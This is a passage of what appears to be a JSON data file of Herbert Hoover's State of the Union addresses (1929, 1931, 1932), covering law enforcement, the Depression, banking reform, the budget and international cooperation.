appointed a National Commission on\nLaw Observance and Enforcement, for an exhaustive study of the entire\nproblem of the enforcement of our laws and the improvement of our judicial\nsystem, including the special problems and abuses growing out of the\nprohibition laws. The commission has been invited to make the widest\ninquiry into the shortcomings of the administration of justice and into the\ncauses and remedies for them. It has organized its work under subcommittees\ndealing with the many contributory causes of our situation and has enlisted\nthe aid of investigators in fields requiring special consideration. I am\nconfident that as a result of its studies now being carried forward it will\nmake a notable contribution to the solution of our pressing problems.Pending further legislation, the Department of Justice has been striving to\nweed out inefficiency wherever it exists, to stimulate activity on the part\nof its prosecuting officers, and to use increasing care in examining into\nthe qualifications of those appointed to serve as prosecutors. The\ndepartment is seeking systematically to strengthen the law enforcement\nagencies week by week and month by month, not by dramatic displays but by\nsteady pressure; by removal of negligent officials and by encouragement and\nassistance to the vigilant. During the course of these efforts it has been\nrevealed that in some districts causes contributing to the congestion of\ncriminal dockets, and to delays and inefficiency in prosecutions, have been\nlack of sufficient forces in the offices of United States attorneys, clerks\nof courts, and marshals. These conditions tend to clog the machinery of\njustice. The last conference of senior circuit judges has taken note of\nthem and indorsed the department's proposals for improvement. Increases in\nappropriations are necessary and will be asked for in order to reenforce\nthese offices.The orderly administration of the law involves more than the mere machinery\nof law enforcement. The efficient use of that machinery and a spirit in our\npeople in support of law are alike essential. We have need for improvement\nin both. However much we may perfect the mechanism, still if the citizen\nwho is himself dependent upon some laws for the protection of all that he\nhas and all that he holds dear, shall insist on selecting the particular\nlaws which he will obey, he undermines his own safety and that of his\ncountry. His attitude may obscure, but it can not conceal, the ugly truth\nthat the lawbreaker, whoever he may be, is the enemy of society. We can no\nlonger gloss over the unpleasant reality which should be made vital in the\nconsciousness of every citizen, that he who condones or traffics with\ncrime, who is indifferent to it and to the punishment of the criminal, or\nto the lax performance of official duty, is himself the most effective\nagency for the breakdown of society.Law can not rise above its source in good citizenship--in what right-minded\nmen most earnestly believe and desire. If the law is upheld only by\nGovernment officials, then all law is at an end. Our laws are made by the\npeople themselves; theirs is the right to work for their repeal; but until\nrepeal it is an equal duty to observe them and demand their enforcement.I have been gratified at the awakening sense of this responsibility in our\ncitizens during the past few months, and gratified that many instances have\noccurred which refuted the cynicism which has asserted that our system\ncould not convict those who had defied the law and possessed the means to\nresist its execution. These things reveal a moral awakening both in the\npeople and in officials which lies at the very foundation of the rule of\nlaw.CONCLUSIONThe test of the rightfulness of our decisions must be whether we have\nsustained and advanced the ideals of the American people; self-government\nin its foundations of local government; justice whether to the individual\nor to the group; ordered liberty; freedom from domination; open opportunity\nand equality of opportunity; the initiative and individuality of our\npeople; prosperity and the lessening of poverty; freedom of public opinion;\neducation; advancement of knowledge; the growth of religious spirit; the\ntolerance of all faiths; the foundations of the home and the advancement of\npeace.The White House,December 3, 1929", 
+    "name": "Herbert Hoover"
+}
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+{
+    "date": "December 6, 1932", 
+    "speech": "To the Senate and House of Representatives:In accord with my constitutional duty, I transmit herewith to the\nCongress information upon the state of the Union together with\nrecommendation of measures for its consideration.Our country is at peace. Our national defense has been maintained at a\nhigh state of effectiveness. All of the executive departments of the\nGovernment have been conducted during the year with a high devotion to\npublic interest. There has been a far larger degree of freedom from\nindustrial conflict than hitherto known. Education and science have made\nfurther advances. The public health is to-day at its highest known\nlevel. While we have recently engaged in the aggressive contest of a\nnational election, its very tranquillity and the acceptance of its\nresults furnish abundant proof of the strength of our institutions.In the face of widespread hardship our people have demonstrated daily a\nmagnificent sense of humanity, of individual and community\nresponsibility for the welfare of the less fortunate. They have grown in\ntheir conceptions and organization for cooperative action for the common\nwelfare.In the provision against distress during this winter, the great private\nagencies of the country have been mobilized again; the generosity of our\npeople has again come into evidence to a degree in which all America may\ntake great pride. Likewise the local authorities and the States are\nengaged everywhere in supplemental measures of relief. The provisions\nmade for loans from the Reconstruction Finance Corporation, to States\nthat have exhausted their own resources, guarantee that there should be\nno hunger or suffering from cold in the country. The large majority of\nStates are showing a sturdy cooperation in the spirit of the Federal\naid.The Surgeon General, in charge of the Public Health Service, furnishes\nme with the following information upon the state of public health:MORTALITY RATE PER 1,000 OF POPULATION ON AN ANNUAL BASIS FROM\nREPRESENTATIVE STATESGeneral InfantFirst 9 months of-- 1928 11.9 67.8 1929 12.0 65.8 1930 11.4 62.0 1931\n11.2 60.0 1932 10.6 55.0The sickness rates from data available show the same trends. These facts\nindicate the fine endeavor of the agencies which have been mobilized for\ncare of those in distress.ECONOMIC SITUATIONThe unparalleled world-wide economic depression has continued through\nthe year. Due to the European collapse, the situation developed during\nlast fall and winter into a series of most acute crises. The\nunprecedented emergency measures enacted and policies adopted\nundoubtedly saved the country from economic disaster. After serving to\ndefend the national security, these measures began in July to show their\nweight and influence toward improvement of conditions in many parts of\nthe country. The following tables of current business indicators show\nthe general economic movement during the past eleven months.MONTHLY BUSINESS INDICES WITH SEASONAL VARIATIONS ELIMINATED [Monthly\naverage 1923-1925=100]Industrial Factory Freight- Depart- Exports, Imports, Building\nIndustrial Year and produc- employ- car ment store value value\ncontracts, electric month tion ment loadings sales, all types power\nvalue consumption1931 December 74 69.4 69 81 46 48 38 89.11932 January 72 68.1 64 78 39 42 31 93.9 February 69 67.8 62 78 45 41 27\n98.8 March 67 66.4 61 72 41 37 26 88.0 April 63 64.3 59 80 38 36 27 82.2\nMay 60 62.1 54 73 37 34 26 82.0 June 59 60.0 52 71 34 36 27 78.1 July 58\n58.3 51 67 32 27 27 79.2 August 60 58.8 51 66 31 29 30 73.5 September 66\n60.3 54 70 33 32 30 84.0 October 66 61.3 57 70 33 32 29 84.4The measures and policies which have procured this turn toward recovery\nshould be continued until the depression is passed, and then the\nemergency agencies should be promptly liquidated. The expansion of\ncredit facilities by the Federal Reserve System and the Reconstruction\nFinance Corporation has been of incalculable value. The loans of the\nlatter for reproductive works, and to railways for the creation of\nemployment; its support of the credit structure through loans to banks,\ninsurance companies, railways, building and loan associations, and to\nagriculture has protected the savings and insurance policies of millions\nof our citizens and has relieved millions of borrowers from duress; they\nhave enabled industry and business to function and expand. The\nassistance given to Farm Loan Banks, the establishment of the Home Loan\nBanks and Agricultural Credit Associations--all in their various\nramifications have placed large sums of money at the disposal of the\npeople in protection and aid. Beyond this, the extensive organization of\nthe country in voluntary action has produced profound results.The following table indicates direct expenditures of the Federal\nGovernment in aid to unemployment, agriculture, and financial relief\nover the past four years. The sums applied to financial relief multiply\nthemselves many fold, being in considerable measure the initial capital\nsupplied to the Reconstruction Finance Corporation, Farm Loan Banks,\netc., which will be recovered to the Treasury.Agricultural Public works 1 relief and financial loansFiscal year ending June 30-- 1930 $410,420,000 $156,100,000 1931\n574,870,000 196,700,000 1932 655,880,000 772,700,000 1933 717,260,000\n52,000,000Total 2,358,430,000 1,177,500,000 1 Public Building, Highways, Rivers\nand Harbors and their maintenance, naval and other vessels construction,\nhospitals, etc.Continued constructive policies promoting the economic recovery of the\ncountry must be the paramount duty of the Government. The result of the\nagencies we have created and the policies we have pursued has been to\nbuttress our whole domestic financial structure and greatly to restore\ncredit facilities. But progress in recovery requires another element as\nwell--that is fully restored confidence in the future. Institutions and\nmen may have resources and credit but unless they have confidence\nprogress is halting and insecure.There are three definite directions in which action by the Government at\nonce can contribute to strengthen further the forces of recovery by\nstrengthening of confidence. They are the necessary foundations to any\nother action, and their accomplishment would at once promote employment\nand increase prices.The first of these directions of action is the continuing reduction of\nall Government expenditures, whether national, State, or local. The\ndifficulties of the country demand undiminished efforts toward economy\nin government in every direction. Embraced in this problem is the\nunquestioned balancing of the Federal Budget. That is the first\nnecessity of national stability and is the foundation of further\nrecovery. It must be balanced in an absolutely safe and sure manner if\nfull confidence is to be inspired.The second direction for action is the complete reorganization at once\nof our banking system. The shocks to our economic life have undoubtedly\nbeen multiplied by the weakness of this system, and until they are\nremedied recovery will be greatly hampered.The third direction for immediate action is vigorous and whole souled\ncooperation with other governments in the economic field. That our major\ndifficulties find their origins in the economic weakness of foreign\nnations requires no demonstration. The first need to-day is\nstrengthening of commodity prices. That can not be permanently\naccomplished by artificialities. It must be accomplished by expansion in\nconsumption of goods through the return of stability and confidence in\nthe world at large and that in turn can not be fully accomplished\nwithout cooperation with other nations.BALANCING THE BUDGETI shall in due course present the Executive Budget to the Congress. It\nwill show proposed reductions in appropriations below those enacted by\nthe last session of the Congress by over $830,000,000. In addition I\nshall present the necessary Executive orders under the recent act\nauthorizing the reorganization of the Federal Government which, if\npermitted to go into force, will produce still further substantial\neconomies. These sums in reduction of appropriations will, however, be\npartially offset by an increase of about $250,000,000 in uncontrollable\nitems such as increased debt services, etc.In the Budget there is included only the completion of the Federal\npublic works projects already undertaken or under contract. Speeding up\nof Federal public works during the past four years as an aid to\nemployment has advanced many types of such improvements to the point\nwhere further expansion can not be justified in their usefulness to the\nGovernment or the people. As an aid to unemployment we should beyond the\nnormal constructive programs substitute reproductive or so-called\nself-liquidating works. Loans for such purposes have been provided for\nthrough the Reconstruction Finance Corporation. This change in character\nof projects directly relieves the taxpayer and is capable of expansion\ninto a larger field than the direct Federal works. The reproductive\nworks constitute an addition to national wealth and to future\nemployment, whereas further undue expansion of Federal public works is\nbut a burden upon the future.The Federal construction program thus limited to commitments and work in\nprogress under the proposed appropriations contemplates expenditures for\nthe next fiscal year, including naval and other vessel construction, as\nwell as other forms of public works and maintenance, of a total of\n$442,769,000, as compared with $717,262,000 for the present year.The expenditure on such items over the four years ending June 30 next\nwill amount to $2,350,000,000, or an amount of construction work eight\ntimes as great as the cost of the Panama Canal and, except for\ncompletion of certain long-view projects, places the Nation in many\ndirections well ahead of its requirements for some years to come. A\nnormal program of about $200,000,000 per annum should hereafter provide\nfor the country's necessities and will permit substantial future\nreduction in Federal expenditures.I recommend that the furlough system installed last year be continued\nnot only because of the economy produced but because, being tantamount\nto the \"5-day week,\" it sets an example which should be followed by the\ncountry and because it embraces within its workings the \"spread work\"\nprinciple and thus serves to maintain a number of public servants who\nwould otherwise be deprived of all income. I feel, however, in view of\nthe present economic situation and the decrease in the cost of living by\nover 20 per cent, that some further sacrifice should be made by salaried\nofficials of the Government over and above the 8 1/3 per cent reduction\nunder the furlough system. I will recommend that after exempting the\nfirst $1,000 of salary there should be a temporary reduction for one\nyear of 11 per cent of that part of all Government salaries in excess of\nthe $1,000 exemption, the result of which, combined with the furlough\nsystem, will average about 14.8 per cent reduction in pay to those\nearning more than $1,000.I will recommend measures to eliminate certain payments in the veterans'\nservices. I conceive these outlays were entirely beyond the original\nintentions of Congress in building up veterans' allowances. Many abuses\nhave grown up from ill-considered legislation. They should be\neliminated. The Nation should not ask for a reduction in allowances to\nmen and dependents whose disabilities rise out of war service nor to\nthose veterans with substantial service who have become totally disabled\nfrom non-war-connected causes and who are at the same time without other\nsupport. These latter veterans are a charge on the community at some\npoint, and I feel that in view of their service to the Nation as a whole\nthe responsibility should fall upon the Federal Government.Many of the economies recommended in the Budget were presented at the\nlast session of the Congress but failed of adoption. If the Economy and\nAppropriations Committees of the Congress in canvassing these proposed\nexpenditures shall find further reductions which can be made without\nimpairing essential Government services, it will be welcomed both by the\ncountry and by myself. But under no circumstances do I feel that the\nCongress should fail to uphold the total of reductions recommended.Some of the older revenues and some of the revenues provided under the\nact passed during the last session of the Congress, particularly those\ngenerally referred to as the nuisance taxes, have not been as prolific\nof income as had been hoped. Further revenue is necessary in addition to\nthe amount of reductions in expenditures recommended. Many of the\nmanufacturers' excise taxes upon selected industries not only failed to\nproduce satisfactory revenue, but they are in many ways unjust and\ndiscriminatory. The time has come when, if the Government is to have an\nadequate basis of revenue to assure a balanced Budget, this system of\nspecial manufacturers' excise taxes should be extended to cover\npractically all manufactures at a uniform rate, except necessary food\nand possibly some grades of clothing.At the last session the Congress responded to my request for authority\nto reorganize the Government departments. The act provides for the\ngrouping and consolidation of executive and administrative agencies\naccording to major purpose, and thereby reducing the number and overlap\nand duplication of effort. Executive orders issued for these purposes\nare required to be transmitted to the Congress while in session and do\nnot become effective until after the expiration of 60 calendar days\nafter such transmission, unless the Congress shall sooner approve.I shall issue such Executive orders within a few days grouping or\nconsolidating over fifty executive and administrative agencies including\na large number of commissions and \"independent\" agencies.The second step, of course, remains that after these various bureaus and\nagencies are placed cheek by jowl into such groups, the administrative\nofficers in charge of the groups shall eliminate their overlap and still\nfurther consolidate these activities. Therein lie large economies.The Congress must be warned that a host of interested persons inside and\noutside the Government whose vision is concentrated on some particular\nfunction will at once protest against these proposals. These same sorts\nof activities have prevented reorganization of the Government for over a\nquarter of a century. They must be disregarded if the task is to be\naccomplished.BANKINGThe basis of every other and every further effort toward recovery is to\nreorganize at once our banking system. The shocks to our economic system\nhave undoubtedly multiplied by the weakness of our financial system. I\nfirst called attention of the Congress in 1929 to this condition, and I\nhave unceasingly recommended remedy since that time. The subject has\nbeen exhaustively investigated both by the committees of the Congress\nand the officers of the Federal Reserve System.The banking and financial system is presumed to serve in furnishing the\nessential lubricant to the wheels of industry, agriculture, and\ncommerce, that is, credit. Its diversion from proper use, its improper\nuse, or its insufficiency instantly brings hardship and dislocation in\neconomic life. As a system our banking has failed to meet this great\nemergency. It can be said without question of doubt that our losses and\ndistress have been greatly augmented by its wholly inadequate\norganization. Its inability as a system to respond to our needs is\nto-day a constant drain upon progress toward recovery. In this statement\nI am not referring to individual banks or bankers. Thousands of them\nhave shown distinguished courage and ability. On the contrary, I am\nreferring to the system itself, which is so organized, or so lacking in\norganization, that in an emergency its very mechanism jeopardizes or\nparalyzes the action of sound banks and its instability is responsible\nfor periodic dangers to our whole economic system.Bank failures rose in 1931 to 10 1/2 per cent of all the banks as\ncompared to 1 1/2 per cent of the failures of all other types of\nenterprise. Since January 1, 1930, we have had 4,665 banks suspend, with\n$3,300,000,000 in deposits. Partly from fears and drains from abroad,\npartly from these failures themselves (which indeed often caused closing\nof sound banks), we have witnessed hoarding of currency to an enormous\nsum, rising during the height of the crisis to over $1,600,000,000. The\nresults from interreaction of cause and effect have expressed themselves\nin strangulation of credit which at times has almost stifled the\nNation's business and agriculture. The losses, suffering, and tragedies\nof our people are incalculable. Not alone do they lie in the losses of\nsavings to millions of homes, injury by deprival of working capital to\nthousands of small businesses, but also, in the frantic pressure to\nrecall loans to meet pressures of hoarding and in liquidation of failed\nbanks, millions of other people have suffered in the loss of their homes\nand farms, businesses have been ruined, unemployment increased, and\nfarmers' prices diminished.That this failure to function is unnecessary and is the fault of our\nparticular system is plainly indicated by the fact that in Great\nBritain, where the economic mechanism has suffered far greater shocks\nthan our own, there has not been a single bank failure during the\ndepression. Again in Canada, where the situation has been in large\ndegree identical with our own, there have not been substantial bank\nfailures.The creation of the Reconstruction Finance Corporation and the\namendments to the Federal Reserve Act served to defend the Nation in a\ngreat crisis. They are not remedies; they are relief. It is\ninconceivable that the Reconstruction Corporation, which has extended\naid to nearly 6,000 institutions and is manifestly but a temporary\ndevice, can go on indefinitely.It is to-day a matter of satisfaction that the rate of bank failures, of\nhoarding, and the demands upon the Reconstruction Corporation have\ngreatly lessened. The acute phases of the crisis have obviously passed\nand the time has now come when this national danger and this failure to\nrespond to national necessities must be ended and the measures to end\nthem can be safely undertaken. Methods of reform have been exhaustively\nexamined. There is no reason now why solution should not be found at the\npresent session of the Congress. Inflation of currency or governmental\nconduct of banking can have no part in these reforms. The Government\nmust abide within the field of constructive organization, regulation,\nand the enforcement of safe practices only.Parallel with reform in the banking laws must be changes in the Federal\nFarm Loan Banking system and in the Joint Stock Land Banks. Some of\nthese changes should be directed to permanent improvement and some to\nemergency aid to our people where they wish to fight to save their farms\nand homes.I wish again to emphasize this view--that these widespread banking\nreforms are a national necessity and are the first requisites for\nfurther recovery in agriculture and business. They should have immediate\nconsideration as steps greatly needed to further recovery.ECONOMIC COOPERATION WITH OTHER NATIONSOur major difficulties during the past two years find their origins in\nthe shocks from economic collapse abroad which in turn are the aftermath\nof the Great War. If we are to secure rapid and assured recovery and\nprotection for the future we must cooperate with foreign nations in many\nmeasures.We have actively engaged in a World Disarmament Conference where, with\nsuccess, we should reduce our own tax burdens and the tax burdens of\nother major nations. We should increase political stability of the\nworld. We should lessen the danger of war by increasing defensive powers\nand decreasing offensive powers of nations. We would thus open new\nvistas of economic expansion for the world.We are participating in the formulation of a World Economic Conference,\nsuccessful results from which would contribute much to advance in\nagricultural prices, employment, and business. Currency depreciation and\ncorrelated forces have contributed greatly to decrease in price levels.\nMoreover, from these origins rise most of the destructive trade barriers\nnow stifling the commerce of the world. We could by successful action\nincrease security and expand trade through stability in international\nexchange and monetary values. By such action world confidence could be\nrestored. It would bring courage and stability, which will reflect into\nevery home in our land.The European governments, obligated to us in war debts, have requested\nthat there should be suspension of payments due the United States on\nDecember 15 next, to be accompanied by exchange of views upon this debt\nquestion. Our Government has informed them that we do not approve of\nsuspension of the December 15 payments. I have stated that I would\nrecommend to the Congress methods to overcome temporary exchange\ndifficulties in connection with this payment from nations where it may\nbe necessary.In the meantime I wish to reiterate that here are three great fields of\ninternational action which must be considered not in part but as a\nwhole. They are of most vital interest to our people. Within them there\nare not only grave dangers if we fail in right action but there also tie\nimmense opportunities for good if we shall succeed. Within success there\nlie major remedies for our economic distress and major progress in\nstability and security to every fireside in our country.The welfare of our people is dependent upon successful issue of the\ngreat causes of world peace, world disarmament, and organized world\nrecovery. Nor is it too much to say that to-day as never before the\nwelfare of mankind and the preservation of civilization depend upon our\nsolution of these questions. Such solutions can not be attained except\nby honest friendship, by adherence to agreements entered upon until\nmutually revised and by cooperation amongst nations in a determination\nto find solutions which will be mutually beneficial.OTHER LEGISLATIONI have placed various legislative needs before the Congress in previous\nmessages, and these views require no amplification on this occasion. I\nhave urged the need for reform in our transportation and power\nregulation, in the antitrust laws as applied to our national resource\nindustries, western range conservation, extension of Federal aid to\nchild health services, membership in the World Court, the ratification\nof the Great Lakes-St. Lawrence Seaway Treaty, revision of the\nbankruptcy acts, revision of Federal court procedure, and many other\npressing problems.These and other special subjects I shall where necessary deal with by\nspecial communications to the Congress.The activities of our Government are so great, when combined with the\nemergency activities which have arisen out of the world crisis, that\neven the briefest review of them would render the annual message unduly\nlong. I shall therefore avail myself of the fact that every detail of\nthe Government is covered in the reports to the Congress by each of the\ndepartments and agencies of the Government.CONCLUSIONIt seems to me appropriate upon this occasion to make certain general\nobservations upon the principles which must dominate the solution of\nproblems now pressing upon the Nation. Legislation in response to\nnational needs will be effective only if every such act conforms to a\ncomplete philosophy of the people's purposes and destiny. Ours is a\ndistinctive government with a unique history and background, consciously\ndedicated to specific ideals of liberty and to a faith in the inviolable\nsanctity of the individual human spirit. Furthermore, the continued\nexistence and adequate functioning of our government in preservation of\nordered liberty and stimulation of progress depends upon the maintenance\nof State, local, institutional, and individual sense of responsibility.\nWe have builded a system of individualism peculiarly our own which must\nnot be forgotten in any governmental acts, for from it have grown\ngreater accomplishments than those of any other nation.On the social and economic sides, the background of our American system\nand the motivation of progress is essentially that we should allow free\nplay of social and economic forces as far as will not limit equality of\nopportunity and as will at the same time stimulate the initiative and\nenterprise of our people. In the maintenance of this balance the Federal\nGovernment can permit of no privilege to any person or group. It should\nact as a regulatory agent and not as a participant in economic and\nsocial life. The moment the Government participates, it becomes a\ncompetitor with the people. As a competitor it becomes at once a tyranny\nin whatever direction it may touch. We have around us numerous such\nexperiences, no one of which can be found to have justified itself\nexcept in cases where the people as a whole have met forces beyond their\ncontrol, such as those of the Great War and this great depression, where\nthe full powers of the Federal Government must be exerted to protect the\npeople. But even these must be limited to an emergency sense and must be\npromptly ended when these dangers are overcome.With the free development of science and the consequent multitude of\ninventions, some of which are absolutely revolutionary in our national\nlife, the Government must not only stimulate the social and economic\nresponsibility of individuals and private institutions but it must also\ngive leadership to cooperative action amongst the people which will\nsoften the effect of these revolutions and thus secure social\ntransformations in an orderly manner. The highest form of\nself-government is the voluntary cooperation within our people for such\npurposes.But I would emphasize again that social and economic solutions, as such,\nwill not avail to satisfy the aspirations of the people unless they\nconform with the traditions of our race deeply grooved in their\nsentiments through a century and a half of struggle for ideals of life\nthat are rooted in religion and fed from purely spiritual springs.HERBERT HOOVER The White House, December 6, 1932.", 
+    "name": "Herbert Hoover"
+}
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+{
+    "date": "December 8, 1931", 
+    "speech": "To the Senate and House of Representatives:It is my duty under the Constitution to transmit to the Congress\ninformation on the state of the Union and to recommend for its\nconsideration necessary and expedient measures.The chief influence affecting the state of the Union during the past year\nhas been the continued world-wide economic disturbance. Our national\nconcern has been to meet the emergencies it has created for us and to lay\nthe foundations for recovery.If we lift our vision beyond these immediate emergencies we find\nfundamental national gains even amid depression. In meeting the problems of\nthis difficult period, we have witnessed a remarkable development of the\nsense of cooperation in the community. For the first time in the history of\nour major economic depressions there has been a notable absence of public\ndisorders and industrial conflict. Above all there is an enlargement of\nsocial and spiritual responsibility among the people. The strains and\nstresses upon business have resulted in closer application, in saner\npolicies, and in better methods. Public improvements have been carried out\non a larger scale than even in normal times. The country is richer in\nphysical property, in newly discovered resources, and in productive\ncapacity than ever before. There has been constant gain in knowledge and\neducation; there has been continuous advance in science and invention;\nthere has been distinct gain in public health. Business depressions have\nbeen recurrent in the life of our country and are but transitory. The\nNation has emerged from each of them with increased strength and virility\nbecause of the enlightenment they have brought, the readjustments and the\nlarger understanding of the realities and obligations of life and work\nwhich come from them.NATIONAL DEFENSEBoth our Army and Navy have been maintained in a high state of efficiency.\nThe ability and devotion of both officers and men sustain the highest\ntraditions of the service. Reductions and postponements in expenditure of\nthese departments to meet the present emergency are being made without\nreducing existing personnel or impairing the morale of either\nestablishment.The agreement between the leading naval powers for limitation of naval\narmaments and establishment of their relative strength and thus elimination\nof competitive building also implies for ourselves the gradual expansion of\nthe deficient categories in our Navy to the parities provided in those\ntreaties. However, none of the other nations, parties to these agreements,\nis to-day maintaining the full rate of construction which the treaty size\nof fleets would imply.Although these agreements secured the maximum reduction of fleets which it\nwas at that time possible to attain, I am hopeful that the naval powers,\nparty to these agreements, will realize that establishment of relative\nstrength in itself offers opportunity for further reduction without injury\nto any of them. This would be the more possible if pending negotiations are\nsuccessful between France and Italy. If the world is to regain its\nstandards of life, it must further decrease both naval and other arms. The\nsubject will come before the General Disarmament Conference which meets in\nGeneva on February 2.FOREIGN AFFAIRSWe are at peace with the world. We have cooperated with other nations to\npreserve peace. The rights of our citizens abroad have been protected.The economic depression has continued and deepened in every part of the\nworld during the past year. In many countries political instability,\nexcessive armaments, debts, governmental expenditures, and taxes have\nresulted in revolutions, in unbalanced budgets and monetary collapse and\nfinancial panics, in dumping of goods upon world markets, and in diminished\nconsumption of commodities.Within two years there have been revolutions or acute social disorders in\n19 countries, embracing more than half the population of the world. Ten\ncountries have been unable to meet their external obligations. In 14\ncountries, embracing a quarter of the world's population, former monetary\nstandards have been temporarily abandoned. In a number of countries there\nhave been acute financial panics or compulsory restraints upon banking.\nThese disturbances have many roots in the dislocations from the World War.\nEvery one of them has reacted upon us. They have sharply affected the\nmarkets and prices of our agricultural and industrial products. They have\nincreased unemployment and greatly embarrassed our financial and credit\nsystem.As our difficulties during the past year have plainly originated in large\ndegree from these sources, any effort to bring about our own recuperation\nhas dictated the necessity of cooperation by us with other nations in\nreasonable effort to restore world confidence and economic stability.Cooperation of our Federal reserve system and our banks with the central\nbanks in foreign countries has contributed to localize and ameliorate a\nnumber of serious financial crises or moderate the pressures upon us and\nthus avert disasters which would have affected us.The economic crisis in Germany and Central Europe last June rose to the\ndimensions of a general panic from which it was apparent that without\nassistance these nations must collapse. Apprehensions of such collapse had\ndemoralized our agricultural and security markets and so threatened other\nnations as to impose further dangers upon us. But of highest importance was\nthe necessity of cooperation on our part to relieve the people of Germany\nfrom imminent disasters and to maintain their important relations to\nprogress and stability in the world. Upon the initiative of this Government\na year's postponement of reparations and other intergovernmental debts was\nbrought about. Upon our further initiative an agreement was made by\nGermany's private creditors providing for an extension of such credits\nuntil the German people can develop more permanent and definite forms of\nrelief.We have continued our policy of withdrawing our marines from Haiti and\nNicaragua.The difficulties between China and Japan have given us great concern, not\nalone for the maintenance of the spirit of the Kellogg-Briand Pact, but for\nthe maintenance of the treaties to which we are a party assuring the\nterritorial integrity of China. It is our purpose to assist in finding\nsolutions sustaining the full spirit of those treaties.I shall deal at greater length with our foreign relations in a later\nmessage.THE DOMESTIC SITUATIONMany undertakings have been organized and forwarded during the past year to\nmeet the new and changing emergencies which have constantly confronted us.Broadly the community has cooperated to meet the needs of honest distress,\nand to take such emergency measures as would sustain confidence in our\nfinancial system and would cushion the violence of liquidation in industry\nand commerce, thus giving time for orderly readjustment of costs,\ninventories, and credits without panic and widespread bankruptcy. These\nmeasures have served those purposes and will promote recovery.In these measures we have striven to mobilize and stimulate private\ninitiative and local and community responsibility. There has been the least\npossible Government entry into the economic field, and that only in\ntemporary and emergency form. Our citizens and our local governments have\ngiven a magnificent display of unity and action, initiative and patriotism\nin solving a multitude of difficulties and in cooperating with the Federal\nGovernment.For a proper understanding of my recommendations to the Congress it is\ndesirable very briefly to review such activities during the past year.The emergencies of unemployment have been met by action in many directions.\nThe appropriations for the continued speeding up of the great Federal\nconstruction program have provided direct and indirect aid to employment\nupon a large scale. By organized unity of action, the States and\nmunicipalities have also maintained large programs of public improvement.\nMany industries have been prevailed upon to anticipate and intensify\nconstruction. Industrial concerns and other employers have been organized\nto spread available work amongst all their employees, instead of\ndischarging a portion of them. A large majority have maintained wages at as\nhigh levels as the safe conduct of their business would permit. This course\nhas saved us from industrial conflict and disorder which have characterized\nall previous depressions. Immigration has been curtailed by administrative\naction. Upon the basis of normal immigration the decrease amounts to about\n300,000 individuals who otherwise would have been added to our\nunemployment. The expansion of Federal employment agencies under\nappropriations by the Congress has proved most effective. Through the\nPresident's organization for unemployment relief, public and private\nagencies were successfully mobilized last winter to provide employment and\nother measures against distress. Similar organization gives assurance\nagainst suffering during the coming winter. Committees of leading citizens\nare now active at practically every point of unemployment. In the large\nmajority they have been assured the funds necessary which, together with\nlocal government aids, will meet the situation. A few exceptional\nlocalities will be further organized. The evidence of the Public Health\nService shows an actual decrease of sickness and infant and general\nmortality below normal years. No greater proof could be adduced that our\npeople have been protected from hunger and cold and that the sense of\nsocial responsibility in the Nation has responded to the need of the\nunfortunate.To meet the emergencies in agriculture the loans authorized by Congress for\nrehabilitation in the drought areas have enabled farmers to produce\nabundant crops in those districts. The Red Cross undertook and\nmagnificently administered relief for over 2,500,000 drought sufferers last\nwinter. It has undertaken this year to administer relief to 100,000\nsufferers in the new drought area of certain Northwest States. The action\nof the Federal Farm Board in granting credits to farm cooperatives saved\nmany of them from bankruptcy and increased their purpose and strength. By\nenabling farm cooperatives to cushion the fall in prices of farm products\nin 1930 and 1931 the Board secured higher prices to the farmer than would\nhave been obtained otherwise, although the benefits of this action were\npartially defeated by continued world overproduction. Incident to this\naction the failure of a large number of farmers and of country banks was\naverted which could quite possibly have spread into a major disaster. The\nbanks in the South have cooperated with the Farm Board in creation of a\npool for the better marketing of accumulated cotton. Growers have been\nmaterially assisted by this action. Constant effort has been made to reduce\noverproduction in relief of agriculture and to promote the foreign buying\nof agricultural products by sustaining economic stability abroad.To meet our domestic emergencies in credit and banking arising from the\nreaction to acute crisis abroad the National Credit Association was set up\nby the banks with resources of $500,000,000 to support sound banks against\nthe frightened withdrawals and hoarding. It is giving aid to reopen solvent\nbanks which have been closed. Federal officials have brought about many\nbeneficial unions of banks and have employed other means which have\nprevented many bank closings. As a result of these measures the hoarding\nwithdrawals which had risen to over $250,000,000 per week after the British\ncrisis have substantially ceased.FURTHER MEASURESThe major economic forces and weaknesses at home and abroad have now been\nexposed and can be appraised, and the time is ripe for forward action to\nexpedite our recovery.Although some of the causes of our depression are due to speculation,\ninflation of securities and real estate, unsound foreign investments, and\nmismanagement of financial institutions, yet our self-contained national\neconomy, with its matchless strength and resources, would have enabled us\nto recover long since but for the continued dislocations, shocks, and\nsetbacks from abroad.Whatever the causes may be, the vast liquidation and readjustments which\nhave taken place have left us with a large degree of credit paralysis,\nwhich together with the situation in our railways and the conditions\nabroad, are now the outstanding obstacles to recuperation. If we can put\nour financial resources to work and can ameliorate the financial situation\nin the railways, I am confident we can make a large measure of recovery\nindependent of the rest of the world. A strong America is the highest\ncontribution to world stability.One phase of the credit situation is indicated in the banks. During the\npast year banks, representing 3 per cent of our total deposits have been\nclosed. A large part of these failures have been caused by withdrawals for\nhoarding, as distinguished from the failures early in the depression where\nweakness due to mismanagement was the larger cause of failure. Despite\ntheir closing, many of them will pay in full. Although such withdrawals\nhave practically ceased, yet $1,100,000,000 of currency was previously\nwithdrawn which has still to return to circulation. This represents a large\nreduction of the ability of our banks to extend credit which would\notherwise fertilize industry and agriculture. Furthermore, many of our\nbankers, in order to prepare themselves to meet possible withdrawals, have\nfelt compelled to call in loans, to refuse new credits, and to realize upon\nsecurities, which in turn has demoralized the markets. The paralysis has\nbeen further augmented by the steady increase in recent years of the\nproportion of bank assets invested in long-term securities, such as\nmortgages and bonds. These securities tend to lose their liquidity in\ndepression or temporarily to fall in value so that the ability of the banks\nto meet the shock of sudden withdrawal is greatly lessened and the\nrestriction of all kinds of credit is thereby increased. The continuing\ncredit paralysis has operated to accentuate the deflation and liquidation\nof commodities, real estate, and securities below any reasonable basis of\nvalues.All of this tends to stifle business, especially the smaller units, and\nfinally expresses itself in further depression of prices and values, in\nrestriction on new enterprise, and in increased unemployment.The situation largely arises from an unjustified lack of confidence. We\nhave enormous volumes of idle money in the banks and in hoarding. We do not\nrequire more money or working capital--we need to put what we have to\nwork.The fundamental difficulties which have brought about financial strains in\nforeign countries do not exist in the United States. No external drain on\nour resources can threaten our position, because the balance of\ninternational payments is in our favor; we owe less to foreign countries\nthan they owe to us; our industries are efficiently organized; our currency\nand bank deposits are protected by the greatest gold reserve in history.Our first step toward recovery is to reestablish confidence and thus\nrestore the flow of credit which is the very basis of our economic life. We\nmust put some steel beams in the foundations of 